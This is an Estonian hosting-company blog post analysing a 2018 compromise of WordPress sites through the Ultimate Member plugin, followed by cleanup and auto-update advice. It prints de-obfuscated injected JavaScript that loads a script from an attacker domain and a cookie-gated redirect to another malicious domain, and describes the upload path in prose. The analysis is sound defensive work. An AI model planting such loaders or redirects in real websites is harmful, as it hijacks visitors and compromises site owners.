Kolme päevaga turvapaigast rünneteni: Ultimate Member

Peeter Marvet
Jaga:

Enne kui lugema hakkad – kui sinu WordPress kasutab Ultimate Member plugina versiooni, mis on vanem kui 2.0.23, siis palun uuenda see jooksuga ära!
09.08.2018 paigatud turvaprobleemi ärakasutamine on käimas ning esimesed meile silma hakanud veebid said pihta 12.08.2018 öösel (mujal on nähtud ründeid ka enne paikamist). Seejärel uuri postituse lõpust kuidas tagada, et pluginad edaspidi ise uueneksid.

Seekordne näide jõudis meieni ühest veel nädal tagasi igati turvalisena tundunud veebist, mis üleöö hakkas külastajaid sellisele veebilehele suunama:

Vaadates failide muutmise aegu, hakkab silma üks öine komplekt:

Nagu näha, siis on tehtud muudatused kõigi teemade päistele viitavates failides… Ning enne seda on justnagu ultimatemember alla midagi üles laetud. Ja see midagi – on .php fail, lisaks mingi t. Vääääga põnev!

Vaadates sama kellaaega veebiserveri logifailis, avaneb järgnev pilt (IP on tõenäoliselt kompromiteeritud server OVH farmis):

Süvenemata detailidesse võib oletada, et POSTis olevad parameetrid koostöös referreriga site.com/wp-admin/admin-ajax.php (lisapunktid site.com eest, pole vaja ründe näidiskoodi sudima hakata!) annavad kasutajapildi postitamiseks vajaliku ühekordse liisu ehk nonssi (nonce) ning siis saadetakse /um-api/route/um!core!Files/ajax_image_upload kaudu üles “pildilaadne toode”, täpsemalt .php laiendiga GIF (häälda korrektselt!), mille sees on PHP kood:

GIF ise on väga nunnu, aga nagu näha, siis laeb Pastebin’ist alla sisu, millest saab t fail – see aga tegeleb *head*-nimeliste failide otsimisega ning lisab neisse lingi pahatahtlikule JS failile (olgu öeldud, et lisaks shell_exec versioonile on allpool sama realiseeritud ka puhtalt PHPs, juhuks kui esimene variant ei õnnestu):

Täiendus 24.08.2018 – lisaks src.eeduelements[.]com on nüüd kasutusel ka cdn.allyouwant[.]online domeen (viidatud Sucuri postituses, tuvastasime ka juba 2 ülevõetud saidi).

Aga ka see pole veel kõik – koodijupp läheb ka /wp-includes/js/jquery/jquery.js algusesse, juhuks kui keegi peaks teema ära puhastama:

Ääremärkus: kui sul on nt mõne cache-plugina poolt seatud javascriptide puhverdamine brauseris (tavapärane SEO-soovitus), siis kuvatakse häkitud saiti külastanutele vana versiooni veel pikka aega. Lihtne nipp on paigaldada ja aktiveerida Zone Cachebuster plugin, mille just tekitasin: see asendab JS ja CSS failide versiooni-parameetri räsiga, mis kasutab wp-config.php‘s olevat soola (ning soolad tasuks pärast ründekahtlust nii ehk naa ära vahetada).

See eeduelements’i jquery.js ei ole aga teps mitte see, mida nime järgi võiks oletada. Pärast väikest de-obfuskeerimist avaneb meile selline pilt ja näeme ära ka URLi, kust saab teada “reklaamitava” sihtmärgi:

function httpGet(url) {
  var $httpBackend = new XMLHttpRequest;
  $httpBackend.open("GET", url, false);
  $httpBackend.send(null);
  return $httpBackend["responseText"];
}
var curdomain = "https[:]//src.eeduelements[.]com/get.php";
var newlink = httpGet(curdomain);
if (newlink != "null") {
  (function() {
    var artistTrack = document.createElement("script");
    artistTrack.type = "text/javascript";
    artistTrack.async = true;
    artistTrack.src = newlink;
    document.head.appendChild(artistTrack);
  })();
};

Kas me võiks juba sihile jõuda, palun? OK-OK, paneme kaheksaks tunniks küpsise ja saadame külastaja parematele jahimaadele (kus ta saab praktiseerida uluk-, mitte jahimees-olemist):

if (/(^|;)\s*simtel=/.test(document.cookie)) {
} else {
  document.cookie = "simtel=1; max-age=" + 60 * 60 * 8;
  var t1 = "http[:]//murieh[.]space/?h=930130016_dc950a456f7_100&h_l=&h_5=sub_id_2&h_2=def_sub";
  document.location.href = t1;
  window.location.href = t1;
};

Kuidas puhastada?

Kui tegemist on täpselt sama ründega, siis:

  • uuenda Ultimate Member plugin;
  • kustuta /wp-content/uploads/ultimatemember/temp kataloogi sisu (NB: lisatud 16.08.2018, tx Henri tähelepanu juhtimast!)
  • kustuta tarbetud teemad;
  • kasutusel oleva teema alt otsi muudetud *head*-nimelisi faile, eemalda sinna lisatud võõra skripti link;
  • korista /wp-includes/js/jquery/jquery.js algusesse lisatud jupp, nt asendades selle puhtast WP paigaldusest võetuga;
  • kui sul on (nt .htaccess abil) lisatud Expiry päised (nt: ExpiresByType text/javascript "access plus 1 month"), siis lisa ja aktiveeri Zone Cachebuster;
  • kui sul on kasutusel mõni cache-plugin , siis tühjenda cache;
  • pärast rünnet alati: uued WP soolad, andmebaasiparooli vahetus, vaata üle kasutajabaas (eemalda kahtlased), vaheta admin-kasutajate paroolid.

Loomulikult võib nii selle kui ka teiste rünnete puhul kirjutada ka info@zone.ee ja meie tehnikutelt puhastamise tellida. Kui tegemist on teadaoleva skeemiga, siis on meil teada ka efektiivne puhastusviis. Kui on uus rünne, siis saame oma kollektsiooni uue näite ning saame teisi potentsiaalseid ohvreid ette hoiatada.

Kuidas tagada, et pluginad (ja WP) alati uuendatud saaksid?

Ülalkirjeldatud probleemi põhjustas plugin, mis oli alla ühe nädala uuendamata. Kurjategijad peavad aga uuendustel silma peal ning selgitavad turvapaiga avaldamist märgates kiiresti välja lapitud augu ärakasutamise viisi ning annavad kõikide teadaolevate WP-saitide pihta tuld: kõigepealt skann “kas plugin on olemas?” ning kui sellele on vastuseks “jah”, siis toimub automaatne sissemurdmine ja sait pannakse tegema “mida vaja”.

Mina seadistan oma WordPressid automaatselt uuendama nii WPd ennast (sh major versioone – vaikimisi paigaldatakse ainult väiksemad ehk minor uuendused) kui ka pluginaid, pannes paar rida koodi teema functions.php faili või kasutan mikropluginat Zone Updateall. Huviline leiab ametlikust pluginateegist otsinguga update ka hulga fääntsimaid lahendusi

Tasuliste pluginate-teemade puhul on enamasti vaja hoolitseda litsentsinumbri sisestamise eest… Või siis nõuab uuendamine mitte-standardset protsessi või vastavat lisapluginat.

Kommentaarid

2 kommentaari
  • Just täna oli sellega nakatunud veebilehe puhastamine käsil.
    Soovitan lisaks veel wp-content/uploads kaustast ultimate memberi temp failid ära kustutada.

    • Loomulikult see kah – nimekirja täiendatud asjakohase punktiga! Kuidas krt ma selle suutsin ära unustada…

Kommentaarid suletud.

Populaarsed postitused

Partner soovitab: Kodulehe hooldus ehk kuidas kaitsta seda küberrünnakute eest

MarketingSharks
Veebiarenduse maailmas on WordPress vaieldamatult üks kõige populaarsemaid sisuhaldussüsteeme.

Hea klienditugi on edu valem ehk halloo, miks sa ei vasta?

Martti Varik
Kui suur võib olla pettumus olukorras, kus vajad kiiresti töömeest või ehitajat ning saadad e-posti päringu kaheksale spetsialistile, aga mitte keegi...

Lühim .EE domeen läks kaubaks rekordhinnaga

Lemme Suve
Hiljuti tõi Eesti Interneti SA turule aastaid reserveerituna hoitud domeeninimed. Omanikke ootavad paljud eksklusiivsed domeenid - mitmed Eesti kohanimed,...

Vana veebimeil läheb hingusele, on aeg uuendada harjumusi!

Kaarel Urva
31. oktoobril 2023 tõmbame juhtme seinast oma vanal veebimeilil (webmail.zone.ee), mis on viimased neli aastat paralleelselt kasutuses olnud uue, pidevalt...